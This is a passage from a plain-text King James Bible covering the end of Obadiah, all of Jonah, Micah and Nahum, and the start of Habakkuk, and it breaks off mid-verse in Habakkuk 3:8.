thy +mighty men, O Teman, shall be dismayed, to the end that every one of +the mount of Esau may be cut off by slaughter. + +1:10 For thy violence against thy brother Jacob shame shall cover +thee, and thou shalt be cut off for ever. + +1:11 In the day that thou stoodest on the other side, in the day that +the strangers carried away captive his forces, and foreigners entered +into his gates, and cast lots upon Jerusalem, even thou wast as one of +them. + +1:12 But thou shouldest not have looked on the day of thy brother in +the day that he became a stranger; neither shouldest thou have +rejoiced over the children of Judah in the day of their destruction; +neither shouldest thou have spoken proudly in the day of distress. + +1:13 Thou shouldest not have entered into the gate of my people in the +day of their calamity; yea, thou shouldest not have looked on their +affliction in the day of their calamity, nor have laid hands on their +substance in the day of their calamity; 1:14 Neither shouldest thou +have stood in the crossway, to cut off those of his that did escape; +neither shouldest thou have delivered up those of his that did remain +in the day of distress. + +1:15 For the day of the LORD is near upon all the heathen: as thou +hast done, it shall be done unto thee: thy reward shall return upon +thine own head. + +1:16 For as ye have drunk upon my holy mountain, so shall all the +heathen drink continually, yea, they shall drink, and they shall +swallow down, and they shall be as though they had not been. + +1:17 But upon mount Zion shall be deliverance, and there shall be +holiness; and the house of Jacob shall possess their possessions. + +1:18 And the house of Jacob shall be a fire, and the house of Joseph a +flame, and the house of Esau for stubble, and they shall kindle in +them, and devour them; and there shall not be any remaining of the +house of Esau; for the LORD hath spoken it. + +1:19 And they of the south shall possess the mount of Esau; and they +of the plain the Philistines: and they shall possess the fields of +Ephraim, and the fields of Samaria: and Benjamin shall possess Gilead. + +1:20 And the captivity of this host of the children of Israel shall +possess that of the Canaanites, even unto Zarephath; and the captivity +of Jerusalem, which is in Sepharad, shall possess the cities of the +south. + +1:21 And saviours shall come up on mount Zion to judge the mount of +Esau; and the kingdom shall be the LORD's. + + + + +Jonah + + +1:1 Now the word of the LORD came unto Jonah the son of Amittai, +saying, 1:2 Arise, go to Nineveh, that great city, and cry against it; +for their wickedness is come up before me. + +1:3 But Jonah rose up to flee unto Tarshish from the presence of the +LORD, and went down to Joppa; and he found a ship going to Tarshish: +so he paid the fare thereof, and went down into it, to go with them +unto Tarshish from the presence of the LORD. + +1:4 But the LORD sent out a great wind into the sea, and there was a +mighty tempest in the sea, so that the ship was like to be broken. + +1:5 Then the mariners were afraid, and cried every man unto his god, +and cast forth the wares that were in the ship into the sea, to +lighten it of them. But Jonah was gone down into the sides of the +ship; and he lay, and was fast asleep. + +1:6 So the shipmaster came to him, and said unto him, What meanest +thou, O sleeper? arise, call upon thy God, if so be that God will +think upon us, that we perish not. + +1:7 And they said every one to his fellow, Come, and let us cast lots, +that we may know for whose cause this evil is upon us. So they cast +lots, and the lot fell upon Jonah. + +1:8 Then said they unto him, Tell us, we pray thee, for whose cause +this evil is upon us; What is thine occupation? and whence comest +thou? what is thy country? and of what people art thou? 1:9 And he +said unto them, I am an Hebrew; and I fear the LORD, the God of +heaven, which hath made the sea and the dry land. + +1:10 Then were the men exceedingly afraid, and said unto him. Why hast +thou done this? For the men knew that he fled from the presence of the +LORD, because he had told them. + +1:11 Then said they unto him, What shall we do unto thee, that the sea +may be calm unto us? for the sea wrought, and was tempestuous. + +1:12 And he said unto them, Take me up, and cast me forth into the +sea; so shall the sea be calm unto you: for I know that for my sake +this great tempest is upon you. + +1:13 Nevertheless the men rowed hard to bring it to the land; but they +could not: for the sea wrought, and was tempestuous against them. + +1:14 Wherefore they cried unto the LORD, and said, We beseech thee, O +LORD, we beseech thee, let us not perish for this man's life, and lay +not upon us innocent blood: for thou, O LORD, hast done as it pleased +thee. + +1:15 So they look up Jonah, and cast him forth into the sea: and the +sea ceased from her raging. + +1:16 Then the men feared the LORD exceedingly, and offered a sacrifice +unto the LORD, and made vows. + +1:17 Now the LORD had prepared a great fish to swallow up Jonah. And +Jonah was in the belly of the fish three days and three nights. + +2:1 Then Jonah prayed unto the LORD his God out of the fish's belly, +2:2 And said, I cried by reason of mine affliction unto the LORD, and +he heard me; out of the belly of hell cried I, and thou heardest my +voice. + +2:3 For thou hadst cast me into the deep, in the midst of the seas; +and the floods compassed me about: all thy billows and thy waves +passed over me. + +2:4 Then I said, I am cast out of thy sight; yet I will look again +toward thy holy temple. + +2:5 The waters compassed me about, even to the soul: the depth closed +me round about, the weeds were wrapped about my head. + +2:6 I went down to the bottoms of the mountains; the earth with her +bars was about me for ever: yet hast thou brought up my life from +corruption, O LORD my God. + +2:7 When my soul fainted within me I remembered the LORD: and my +prayer came in unto thee, into thine holy temple. + +2:8 They that observe lying vanities forsake their own mercy. + +2:9 But I will sacrifice unto thee with the voice of thanksgiving; I +will pay that that I have vowed. Salvation is of the LORD. + +2:10 And the LORD spake unto the fish, and it vomited out Jonah upon +the dry land. + +3:1 And the word of the LORD came unto Jonah the second time, saying, +3:2 Arise, go unto Nineveh, that great city, and preach unto it the +preaching that I bid thee. + +3:3 So Jonah arose, and went unto Nineveh, according to the word of +the LORD. Now Nineveh was an exceeding great city of three days' +journey. + +3:4 And Jonah began to enter into the city a day's journey, and he +cried, and said, Yet forty days, and Nineveh shall be overthrown. + +3:5 So the people of Nineveh believed God, and proclaimed a fast, and +put on sackcloth, from the greatest of them even to the least of them. + +3:6 For word came unto the king of Nineveh, and he arose from his +throne, and he laid his robe from him, and covered him with sackcloth, +and sat in ashes. + +3:7 And he caused it to be proclaimed and published through Nineveh by +the decree of the king and his nobles, saying, Let neither man nor +beast, herd nor flock, taste any thing: let them not feed, nor drink +water: 3:8 But let man and beast be covered with sackcloth, and cry +mightily unto God: yea, let them turn every one from his evil way, and +from the violence that is in their hands. + +3:9 Who can tell if God will turn and repent, and turn away from his +fierce anger, that we perish not? 3:10 And God saw their works, that +they turned from their evil way; and God repented of the evil, that he +had said that he would do unto them; and he did it not. + +4:1 But it displeased Jonah exceedingly, and he was very angry. + +4:2 And he prayed unto the LORD, and said, I pray thee, O LORD, was +not this my saying, when I was yet in my country? Therefore I fled +before unto Tarshish: for I knew that thou art a gracious God, and +merciful, slow to anger, and of great kindness, and repentest thee of +the evil. + +4:3 Therefore now, O LORD, take, I beseech thee, my life from me; for +it is better for me to die than to live. + +4:4 Then said the LORD, Doest thou well to be angry? 4:5 So Jonah +went out of the city, and sat on the east side of the city, and there +made him a booth, and sat under it in the shadow, till he might see +what would become of the city. + +4:6 And the LORD God prepared a gourd, and made it to come up over +Jonah, that it might be a shadow over his head, to deliver him from +his grief. So Jonah was exceeding glad of the gourd. + +4:7 But God prepared a worm when the morning rose the next day, and it +smote the gourd that it withered. + +4:8 And it came to pass, when the sun did arise, that God prepared a +vehement east wind; and the sun beat upon the head of Jonah, that he +fainted, and wished in himself to die, and said, It is better for me +to die than to live. + +4:9 And God said to Jonah, Doest thou well to be angry for the gourd? +And he said, I do well to be angry, even unto death. + +4:10 Then said the LORD, Thou hast had pity on the gourd, for the +which thou hast not laboured, neither madest it grow; which came up in +a night, and perished in a night: 4:11 And should not I spare Nineveh, +that great city, wherein are more then sixscore thousand persons that +cannot discern between their right hand and their left hand; and also +much cattle? + + + + +Micah + + +1:1 The word of the LORD that came to Micah the Morasthite in the +days of Jotham, Ahaz, and Hezekiah, kings of Judah, which he saw +concerning Samaria and Jerusalem. + +1:2 Hear, all ye people; hearken, O earth, and all that therein is: +and let the Lord GOD be witness against you, the LORD from his holy +temple. + +1:3 For, behold, the LORD cometh forth out of his place, and will come +down, and tread upon the high places of the earth. + +1:4 And the mountains shall be molten under him, and the valleys shall +be cleft, as wax before the fire, and as the waters that are poured +down a steep place. + +1:5 For the transgression of Jacob is all this, and for the sins of +the house of Israel. What is the transgression of Jacob? is it not +Samaria? and what are the high places of Judah? are they not +Jerusalem? 1:6 Therefore I will make Samaria as an heap of the field, +and as plantings of a vineyard: and I will pour down the stones +thereof into the valley, and I will discover the foundations thereof. + +1:7 And all the graven images thereof shall be beaten to pieces, and +all the hires thereof shall be burned with the fire, and all the idols +thereof will I lay desolate: for she gathered it of the hire of an +harlot, and they shall return to the hire of an harlot. + +1:8 Therefore I will wail and howl, I will go stripped and naked: I +will make a wailing like the dragons, and mourning as the owls. + +1:9 For her wound is incurable; for it is come unto Judah; he is come +unto the gate of my people, even to Jerusalem. + +1:10 Declare ye it not at Gath, weep ye not at all: in the house of +Aphrah roll thyself in the dust. + +1:11 Pass ye away, thou inhabitant of Saphir, having thy shame naked: +the inhabitant of Zaanan came not forth in the mourning of Bethezel; +he shall receive of you his standing. + +1:12 For the inhabitant of Maroth waited carefully for good: but evil +came down from the LORD unto the gate of Jerusalem. + +1:13 O thou inhabitant of Lachish, bind the chariot to the swift +beast: she is the beginning of the sin to the daughter of Zion: for +the transgressions of Israel were found in thee. + +1:14 Therefore shalt thou give presents to Moreshethgath: the houses +of Achzib shall be a lie to the kings of Israel. + +1:15 Yet will I bring an heir unto thee, O inhabitant of Mareshah: he +shall come unto Adullam the glory of Israel. + +1:16 Make thee bald, and poll thee for thy delicate children; enlarge +thy baldness as the eagle; for they are gone into captivity from thee. + +2:1 Woe to them that devise iniquity, and work evil upon their beds! +when the morning is light, they practise it, because it is in the +power of their hand. + +2:2 And they covet fields, and take them by violence; and houses, and +take them away: so they oppress a man and his house, even a man and +his heritage. + +2:3 Therefore thus saith the LORD; Behold, against this family do I +devise an evil, from which ye shall not remove your necks; neither +shall ye go haughtily: for this time is evil. + +2:4 In that day shall one take up a parable against you, and lament +with a doleful lamentation, and say, We be utterly spoiled: he hath +changed the portion of my people: how hath he removed it from me! +turning away he hath divided our fields. + +2:5 Therefore thou shalt have none that shall cast a cord by lot in +the congregation of the LORD. + +2:6 Prophesy ye not, say they to them that prophesy: they shall not +prophesy to them, that they shall not take shame. + +2:7 O thou that art named the house of Jacob, is the spirit of the +LORD straitened? are these his doings? do not my words do good to him +that walketh uprightly? 2:8 Even of late my people is risen up as an +enemy: ye pull off the robe with the garment from them that pass by +securely as men averse from war. + +2:9 The women of my people have ye cast out from their pleasant +houses; from their children have ye taken away my glory for ever. + +2:10 Arise ye, and depart; for this is not your rest: because it is +polluted, it shall destroy you, even with a sore destruction. + +2:11 If a man walking in the spirit and falsehood do lie, saying, I +will prophesy unto thee of wine and of strong drink; he shall even be +the prophet of this people. + +2:12 I will surely assemble, O Jacob, all of thee; I will surely +gather the remnant of Israel; I will put them together as the sheep of +Bozrah, as the flock in the midst of their fold: they shall make great +noise by reason of the multitude of men. + +2:13 The breaker is come up before them: they have broken up, and have +passed through the gate, and are gone out by it: and their king shall +pass before them, and the LORD on the head of them. + +3:1 And I said, Hear, I pray you, O heads of Jacob, and ye princes of +the house of Israel; Is it not for you to know judgment? 3:2 Who hate +the good, and love the evil; who pluck off their skin from off them, +and their flesh from off their bones; 3:3 Who also eat the flesh of my +people, and flay their skin from off them; and they break their bones, +and chop them in pieces, as for the pot, and as flesh within the +caldron. + +3:4 Then shall they cry unto the LORD, but he will not hear them: he +will even hide his face from them at that time, as they have behaved +themselves ill in their doings. + +3:5 Thus saith the LORD concerning the prophets that make my people +err, that bite with their teeth, and cry, Peace; and he that putteth +not into their mouths, they even prepare war against him. + +3:6 Therefore night shall be unto you, that ye shall not have a +vision; and it shall be dark unto you, that ye shall not divine; and +the sun shall go down over the prophets, and the day shall be dark +over them. + +3:7 Then shall the seers be ashamed, and the diviners confounded: yea, +they shall all cover their lips; for there is no answer of God. + +3:8 But truly I am full of power by the spirit of the LORD, and of +judgment, and of might, to declare unto Jacob his transgression, and +to Israel his sin. + +3:9 Hear this, I pray you, ye heads of the house of Jacob, and princes +of the house of Israel, that abhor judgment, and pervert all equity. + +3:10 They build up Zion with blood, and Jerusalem with iniquity. + +3:11 The heads thereof judge for reward, and the priests thereof teach +for hire, and the prophets thereof divine for money: yet will they +lean upon the LORD, and say, Is not the LORD among us? none evil can +come upon us. + +3:12 Therefore shall Zion for your sake be plowed as a field, and +Jerusalem shall become heaps, and the mountain of the house as the +high places of the forest. + +4:1 But in the last days it shall come to pass, that the mountain of +the house of the LORD shall be established in the top of the +mountains, and it shall be exalted above the hills; and people shall +flow unto it. + +4:2 And many nations shall come, and say, Come, and let us go up to +the mountain of the LORD, and to the house of the God of Jacob; and he +will teach us of his ways, and we will walk in his paths: for the law +shall go forth of Zion, and the word of the LORD from Jerusalem. + +4:3 And he shall judge among many people, and rebuke strong nations +afar off; and they shall beat their swords into plowshares, and their +spears into pruninghooks: nation shall not lift up a sword against +nation, neither shall they learn war any more. + +4:4 But they shall sit every man under his vine and under his fig +tree; and none shall make them afraid: for the mouth of the LORD of +hosts hath spoken it. + +4:5 For all people will walk every one in the name of his god, and we +will walk in the name of the LORD our God for ever and ever. + +4:6 In that day, saith the LORD, will I assemble her that halteth, and +I will gather her that is driven out, and her that I have afflicted; +4:7 And I will make her that halted a remnant, and her that was cast +far off a strong nation: and the LORD shall reign over them in mount +Zion from henceforth, even for ever. + +4:8 And thou, O tower of the flock, the strong hold of the daughter of +Zion, unto thee shall it come, even the first dominion; the kingdom +shall come to the daughter of Jerusalem. + +4:9 Now why dost thou cry out aloud? is there no king in thee? is thy +counsellor perished? for pangs have taken thee as a woman in travail. + +4:10 Be in pain, and labour to bring forth, O daughter of Zion, like a +woman in travail: for now shalt thou go forth out of the city, and +thou shalt dwell in the field, and thou shalt go even to Babylon; +there shalt thou be delivered; there the LORD shall redeem thee from +the hand of thine enemies. + +4:11 Now also many nations are gathered against thee, that say, Let +her be defiled, and let our eye look upon Zion. + +4:12 But they know not the thoughts of the LORD, neither understand +they his counsel: for he shall gather them as the sheaves into the +floor. + +4:13 Arise and thresh, O daughter of Zion: for I will make thine horn +iron, and I will make thy hoofs brass: and thou shalt beat in pieces +many people: and I will consecrate their gain unto the LORD, and their +substance unto the Lord of the whole earth. + +5:1 Now gather thyself in troops, O daughter of troops: he hath laid +siege against us: they shall smite the judge of Israel with a rod upon +the cheek. + +5:2 But thou, Bethlehem Ephratah, though thou be little among the +thousands of Judah, yet out of thee shall he come forth unto me that +is to be ruler in Israel; whose goings forth have been from of old, +from everlasting. + +5:3 Therefore will he give them up, until the time that she which +travaileth hath brought forth: then the remnant of his brethren shall +return unto the children of Israel. + +5:4 And he shall stand and feed in the strength of the LORD, in the +majesty of the name of the LORD his God; and they shall abide: for now +shall he be great unto the ends of the earth. + +5:5 And this man shall be the peace, when the Assyrian shall come into +our land: and when he shall tread in our palaces, then shall we raise +against him seven shepherds, and eight principal men. + +5:6 And they shall waste the land of Assyria with the sword, and the +land of Nimrod in the entrances thereof: thus shall he deliver us from +the Assyrian, when he cometh into our land, and when he treadeth +within our borders. + +5:7 And the remnant of Jacob shall be in the midst of many people as a +dew from the LORD, as the showers upon the grass, that tarrieth not +for man, nor waiteth for the sons of men. + +5:8 And the remnant of Jacob shall be among the Gentiles in the midst +of many people as a lion among the beasts of the forest, as a young +lion among the flocks of sheep: who, if he go through, both treadeth +down, and teareth in pieces, and none can deliver. + +5:9 Thine hand shall be lifted up upon thine adversaries, and all +thine enemies shall be cut off. + +5:10 And it shall come to pass in that day, saith the LORD, that I +will cut off thy horses out of the midst of thee, and I will destroy +thy chariots: 5:11 And I will cut off the cities of thy land, and +throw down all thy strong holds: 5:12 And I will cut off witchcrafts +out of thine hand; and thou shalt have no more soothsayers: 5:13 Thy +graven images also will I cut off, and thy standing images out of the +midst of thee; and thou shalt no more worship the work of thine hands. + +5:14 And I will pluck up thy groves out of the midst of thee: so will +I destroy thy cities. + +5:15 And I will execute vengeance in anger and fury upon the heathen, +such as they have not heard. + +6:1 Hear ye now what the LORD saith; Arise, contend thou before the +mountains, and let the hills hear thy voice. + +6:2 Hear ye, O mountains, the LORD's controversy, and ye strong +foundations of the earth: for the LORD hath a controversy with his +people, and he will plead with Israel. + +6:3 O my people, what have I done unto thee? and wherein have I +wearied thee? testify against me. + +6:4 For I brought thee up out of the land of Egypt, and redeemed thee +out of the house of servants; and I sent before thee Moses, Aaron, and +Miriam. + +6:5 O my people, remember now what Balak king of Moab consulted, and +what Balaam the son of Beor answered him from Shittim unto Gilgal; +that ye may know the righteousness of the LORD. + +6:6 Wherewith shall I come before the LORD, and bow myself before the +high God? shall I come before him with burnt offerings, with calves of +a year old? 6:7 Will the LORD be pleased with thousands of rams, or +with ten thousands of rivers of oil? shall I give my firstborn for my +transgression, the fruit of my body for the sin of my soul? 6:8 He +hath shewed thee, O man, what is good; and what doth the LORD require +of thee, but to do justly, and to love mercy, and to walk humbly with +thy God? 6:9 The LORD's voice crieth unto the city, and the man of +wisdom shall see thy name: hear ye the rod, and who hath appointed it. + +6:10 Are there yet the treasures of wickedness in the house of the +wicked, and the scant measure that is abominable? 6:11 Shall I count +them pure with the wicked balances, and with the bag of deceitful +weights? 6:12 For the rich men thereof are full of violence, and the +inhabitants thereof have spoken lies, and their tongue is deceitful in +their mouth. + +6:13 Therefore also will I make thee sick in smiting thee, in making +thee desolate because of thy sins. + +6:14 Thou shalt eat, but not be satisfied; and thy casting down shall +be in the midst of thee; and thou shalt take hold, but shalt not +deliver; and that which thou deliverest will I give up to the sword. + +6:15 Thou shalt sow, but thou shalt not reap; thou shalt tread the +olives, but thou shalt not anoint thee with oil; and sweet wine, but +shalt not drink wine. + +6:16 For the statutes of Omri are kept, and all the works of the house +of Ahab, and ye walk in their counsels; that I should make thee a +desolation, and the inhabitants thereof an hissing: therefore ye shall +bear the reproach of my people. + +7:1 Woe is me! for I am as when they have gathered the summer fruits, +as the grapegleanings of the vintage: there is no cluster to eat: my +soul desired the firstripe fruit. + +7:2 The good man is perished out of the earth: and there is none +upright among men: they all lie in wait for blood; they hunt every man +his brother with a net. + +7:3 That they may do evil with both hands earnestly, the prince +asketh, and the judge asketh for a reward; and the great man, he +uttereth his mischievous desire: so they wrap it up. + +7:4 The best of them is as a brier: the most upright is sharper than a +thorn hedge: the day of thy watchmen and thy visitation cometh; now +shall be their perplexity. + +7:5 Trust ye not in a friend, put ye not confidence in a guide: keep +the doors of thy mouth from her that lieth in thy bosom. + +7:6 For the son dishonoureth the father, the daughter riseth up +against her mother, the daughter in law against her mother in law; a +man's enemies are the men of his own house. + +7:7 Therefore I will look unto the LORD; I will wait for the God of my +salvation: my God will hear me. + +7:8 Rejoice not against me, O mine enemy: when I fall, I shall arise; +when I sit in darkness, the LORD shall be a light unto me. + +7:9 I will bear the indignation of the LORD, because I have sinned +against him, until he plead my cause, and execute judgment for me: he +will bring me forth to the light, and I shall behold his +righteousness. + +7:10 Then she that is mine enemy shall see it, and shame shall cover +her which said unto me, Where is the LORD thy God? mine eyes shall +behold her: now shall she be trodden down as the mire of the streets. + +7:11 In the day that thy walls are to be built, in that day shall the +decree be far removed. + +7:12 In that day also he shall come even to thee from Assyria, and +from the fortified cities, and from the fortress even to the river, +and from sea to sea, and from mountain to mountain. + +7:13 Notwithstanding the land shall be desolate because of them that +dwell therein, for the fruit of their doings. + +7:14 Feed thy people with thy rod, the flock of thine heritage, which +dwell solitarily in the wood, in the midst of Carmel: let them feed in +Bashan and Gilead, as in the days of old. + +7:15 According to the days of thy coming out of the land of Egypt will +I shew unto him marvellous things. + +7:16 The nations shall see and be confounded at all their might: they +shall lay their hand upon their mouth, their ears shall be deaf. + +7:17 They shall lick the dust like a serpent, they shall move out of +their holes like worms of the earth: they shall be afraid of the LORD +our God, and shall fear because of thee. + +7:18 Who is a God like unto thee, that pardoneth iniquity, and passeth +by the transgression of the remnant of his heritage? he retaineth not +his anger for ever, because he delighteth in mercy. + +7:19 He will turn again, he will have compassion upon us; he will +subdue our iniquities; and thou wilt cast all their sins into the +depths of the sea. + +7:20 Thou wilt perform the truth to Jacob, and the mercy to Abraham, +which thou hast sworn unto our fathers from the days of old. + + + + +Nahum + + +1:1 The burden of Nineveh. The book of the vision of Nahum the Elkoshite. + +1:2 God is jealous, and the LORD revengeth; the LORD revengeth, and is +furious; the LORD will take vengeance on his adversaries, and he +reserveth wrath for his enemies. + +1:3 The LORD is slow to anger, and great in power, and will not at all +acquit the wicked: the LORD hath his way in the whirlwind and in the +storm, and the clouds are the dust of his feet. + +1:4 He rebuketh the sea, and maketh it dry, and drieth up all the +rivers: Bashan languisheth, and Carmel, and the flower of Lebanon +languisheth. + +1:5 The mountains quake at him, and the hills melt, and the earth is +burned at his presence, yea, the world, and all that dwell therein. + +1:6 Who can stand before his indignation? and who can abide in the +fierceness of his anger? his fury is poured out like fire, and the +rocks are thrown down by him. + +1:7 The LORD is good, a strong hold in the day of trouble; and he +knoweth them that trust in him. + +1:8 But with an overrunning flood he will make an utter end of the +place thereof, and darkness shall pursue his enemies. + +1:9 What do ye imagine against the LORD? he will make an utter end: +affliction shall not rise up the second time. + +1:10 For while they be folden together as thorns, and while they are +drunken as drunkards, they shall be devoured as stubble fully dry. + +1:11 There is one come out of thee, that imagineth evil against the +LORD, a wicked counsellor. + +1:12 Thus saith the LORD; Though they be quiet, and likewise many, yet +thus shall they be cut down, when he shall pass through. Though I have +afflicted thee, I will afflict thee no more. + +1:13 For now will I break his yoke from off thee, and will burst thy +bonds in sunder. + +1:14 And the LORD hath given a commandment concerning thee, that no +more of thy name be sown: out of the house of thy gods will I cut off +the graven image and the molten image: I will make thy grave; for thou +art vile. + +1:15 Behold upon the mountains the feet of him that bringeth good +tidings, that publisheth peace! O Judah, keep thy solemn feasts, +perform thy vows: for the wicked shall no more pass through thee; he +is utterly cut off. + +2:1 He that dasheth in pieces is come up before thy face: keep the +munition, watch the way, make thy loins strong, fortify thy power +mightily. + +2:2 For the LORD hath turned away the excellency of Jacob, as the +excellency of Israel: for the emptiers have emptied them out, and +marred their vine branches. + +2:3 The shield of his mighty men is made red, the valiant men are in +scarlet: the chariots shall be with flaming torches in the day of his +preparation, and the fir trees shall be terribly shaken. + +2:4 The chariots shall rage in the streets, they shall justle one +against another in the broad ways: they shall seem like torches, they +shall run like the lightnings. + +2:5 He shall recount his worthies: they shall stumble in their walk; +they shall make haste to the wall thereof, and the defence shall be +prepared. + +2:6 The gates of the rivers shall be opened, and the palace shall be +dissolved. + +2:7 And Huzzab shall be led away captive, she shall be brought up, and +her maids shall lead her as with the voice of doves, tabering upon +their breasts. + +2:8 But Nineveh is of old like a pool of water: yet they shall flee +away. + +Stand, stand, shall they cry; but none shall look back. + +2:9 Take ye the spoil of silver, take the spoil of gold: for there is +none end of the store and glory out of all the pleasant furniture. + +2:10 She is empty, and void, and waste: and the heart melteth, and the +knees smite together, and much pain is in all loins, and the faces of +them all gather blackness. + +2:11 Where is the dwelling of the lions, and the feedingplace of the +young lions, where the lion, even the old lion, walked, and the lion's +whelp, and none made them afraid? 2:12 The lion did tear in pieces +enough for his whelps, and strangled for his lionesses, and filled his +holes with prey, and his dens with ravin. + +2:13 Behold, I am against thee, saith the LORD of hosts, and I will +burn her chariots in the smoke, and the sword shall devour thy young +lions: and I will cut off thy prey from the earth, and the voice of +thy messengers shall no more be heard. + +3:1 Woe to the bloody city! it is all full of lies and robbery; the +prey departeth not; 3:2 The noise of a whip, and the noise of the +rattling of the wheels, and of the pransing horses, and of the jumping +chariots. + +3:3 The horseman lifteth up both the bright sword and the glittering +spear: and there is a multitude of slain, and a great number of +carcases; and there is none end of their corpses; they stumble upon +their corpses: 3:4 Because of the multitude of the whoredoms of the +wellfavoured harlot, the mistress of witchcrafts, that selleth nations +through her whoredoms, and families through her witchcrafts. + +3:5 Behold, I am against thee, saith the LORD of hosts; and I will +discover thy skirts upon thy face, and I will shew the nations thy +nakedness, and the kingdoms thy shame. + +3:6 And I will cast abominable filth upon thee, and make thee vile, +and will set thee as a gazingstock. + +3:7 And it shall come to pass, that all they that look upon thee shall +flee from thee, and say, Nineveh is laid waste: who will bemoan her? +whence shall I seek comforters for thee? 3:8 Art thou better than +populous No, that was situate among the rivers, that had the waters +round about it, whose rampart was the sea, and her wall was from the +sea? 3:9 Ethiopia and Egypt were her strength, and it was infinite; +Put and Lubim were thy helpers. + +3:10 Yet was she carried away, she went into captivity: her young +children also were dashed in pieces at the top of all the streets: and +they cast lots for her honourable men, and all her great men were +bound in chains. + +3:11 Thou also shalt be drunken: thou shalt be hid, thou also shalt +seek strength because of the enemy. + +3:12 All thy strong holds shall be like fig trees with the firstripe +figs: if they be shaken, they shall even fall into the mouth of the +eater. + +3:13 Behold, thy people in the midst of thee are women: the gates of +thy land shall be set wide open unto thine enemies: the fire shall +devour thy bars. + +3:14 Draw thee waters for the siege, fortify thy strong holds: go into +clay, and tread the morter, make strong the brickkiln. + +3:15 There shall the fire devour thee; the sword shall cut thee off, +it shall eat thee up like the cankerworm: make thyself many as the +cankerworm, make thyself many as the locusts. + +3:16 Thou hast multiplied thy merchants above the stars of heaven: the +cankerworm spoileth, and fleeth away. + +3:17 Thy crowned are as the locusts, and thy captains as the great +grasshoppers, which camp in the hedges in the cold day, but when the +sun ariseth they flee away, and their place is not known where they +are. + +3:18 Thy shepherds slumber, O king of Assyria: thy nobles shall dwell +in the dust: thy people is scattered upon the mountains, and no man +gathereth them. + +3:19 There is no healing of thy bruise; thy wound is grievous: all +that hear the bruit of thee shall clap the hands over thee: for upon +whom hath not thy wickedness passed continually? + + + + +Habakkuk + + +1:1 The burden which Habakkuk the prophet did see. + +1:2 O LORD, how long shall I cry, and thou wilt not hear! even cry out +unto thee of violence, and thou wilt not save! 1:3 Why dost thou shew +me iniquity, and cause me to behold grievance? for spoiling and +violence are before me: and there are that raise up strife and +contention. + +1:4 Therefore the law is slacked, and judgment doth never go forth: +for the wicked doth compass about the righteous; therefore wrong +judgment proceedeth. + +1:5 Behold ye among the heathen, and regard, and wonder marvelously: +for I will work a work in your days which ye will not believe, though +it be told you. + +1:6 For, lo, I raise up the Chaldeans, that bitter and hasty nation, +which shall march through the breadth of the land, to possess the +dwellingplaces that are not their's. + +1:7 They are terrible and dreadful: their judgment and their dignity +shall proceed of themselves. + +1:8 Their horses also are swifter than the leopards, and are more +fierce than the evening wolves: and their horsemen shall spread +themselves, and their horsemen shall come from far; they shall fly as +the eagle that hasteth to eat. + +1:9 They shall come all for violence: their faces shall sup up as the +east wind, and they shall gather the captivity as the sand. + +1:10 And they shall scoff at the kings, and the princes shall be a +scorn unto them: they shall deride every strong hold; for they shall +heap dust, and take it. + +1:11 Then shall his mind change, and he shall pass over, and offend, +imputing this his power unto his god. + +1:12 Art thou not from everlasting, O LORD my God, mine Holy One? we +shall not die. O LORD, thou hast ordained them for judgment; and, O +mighty God, thou hast established them for correction. + +1:13 Thou art of purer eyes than to behold evil, and canst not look on +iniquity: wherefore lookest thou upon them that deal treacherously, +and holdest thy tongue when the wicked devoureth the man that is more +righteous than he? 1:14 And makest men as the fishes of the sea, as +the creeping things, that have no ruler over them? 1:15 They take up +all of them with the angle, they catch them in their net, and gather +them in their drag: therefore they rejoice and are glad. + +1:16 Therefore they sacrifice unto their net, and burn incense unto +their drag; because by them their portion is fat, and their meat +plenteous. + +1:17 Shall they therefore empty their net, and not spare continually +to slay the nations? 2:1 I will stand upon my watch, and set me upon +the tower, and will watch to see what he will say unto me, and what I +shall answer when I am reproved. + +2:2 And the LORD answered me, and said, Write the vision, and make it +plain upon tables, that he may run that readeth it. + +2:3 For the vision is yet for an appointed time, but at the end it +shall speak, and not lie: though it tarry, wait for it; because it +will surely come, it will not tarry. + +2:4 Behold, his soul which is lifted up is not upright in him: but the +just shall live by his faith. + +2:5 Yea also, because he transgresseth by wine, he is a proud man, +neither keepeth at home, who enlargeth his desire as hell, and is as +death, and cannot be satisfied, but gathereth unto him all nations, +and heapeth unto him all people: 2:6 Shall not all these take up a +parable against him, and a taunting proverb against him, and say, Woe +to him that increaseth that which is not his! how long? and to him +that ladeth himself with thick clay! 2:7 Shall they not rise up +suddenly that shall bite thee, and awake that shall vex thee, and thou +shalt be for booties unto them? 2:8 Because thou hast spoiled many +nations, all the remnant of the people shall spoil thee; because of +men's blood, and for the violence of the land, of the city, and of all +that dwell therein. + +2:9 Woe to him that coveteth an evil covetousness to his house, that +he may set his nest on high, that he may be delivered from the power +of evil! 2:10 Thou hast consulted shame to thy house by cutting off +many people, and hast sinned against thy soul. + +2:11 For the stone shall cry out of the wall, and the beam out of the +timber shall answer it. + +2:12 Woe to him that buildeth a town with blood, and stablisheth a +city by iniquity! 2:13 Behold, is it not of the LORD of hosts that +the people shall labour in the very fire, and the people shall weary +themselves for very vanity? 2:14 For the earth shall be filled with +the knowledge of the glory of the LORD, as the waters cover the sea. + +2:15 Woe unto him that giveth his neighbour drink, that puttest thy +bottle to him, and makest him drunken also, that thou mayest look on +their nakedness! 2:16 Thou art filled with shame for glory: drink +thou also, and let thy foreskin be uncovered: the cup of the LORD's +right hand shall be turned unto thee, and shameful spewing shall be on +thy glory. + +2:17 For the violence of Lebanon shall cover thee, and the spoil of +beasts, which made them afraid, because of men's blood, and for the +violence of the land, of the city, and of all that dwell therein. + +2:18 What profiteth the graven image that the maker thereof hath +graven it; the molten image, and a teacher of lies, that the maker of +his work trusteth therein, to make dumb idols? 2:19 Woe unto him that +saith to the wood, Awake; to the dumb stone, Arise, it shall teach! +Behold, it is laid over with gold and silver, and there is no breath +at all in the midst of it. + +2:20 But the LORD is in his holy temple: let all the earth keep +silence before him. + +3:1 A prayer of Habakkuk the prophet upon Shigionoth. + +3:2 O LORD, I have heard thy speech, and was afraid: O LORD, revive +thy work in the midst of the years, in the midst of the years make +known; in wrath remember mercy. + +3:3 God came from Teman, and the Holy One from mount Paran. Selah. His +glory covered the heavens, and the earth was full of his praise. + +3:4 And his brightness was as the light; he had horns coming out of +his hand: and there was the hiding of his power. + +3:5 Before him went the pestilence, and burning coals went forth at +his feet. + +3:6 He stood, and measured the earth: he beheld, and drove asunder the +nations; and the everlasting mountains were scattered, the perpetual +hills did bow: his ways are everlasting. + +3:7 I saw the tents of Cushan in affliction: and the curtains of the +land of Midian did tremble. + +3:8 Was the LORD displeased against the rivers? was thine anger +against the rivers? was thy wrath 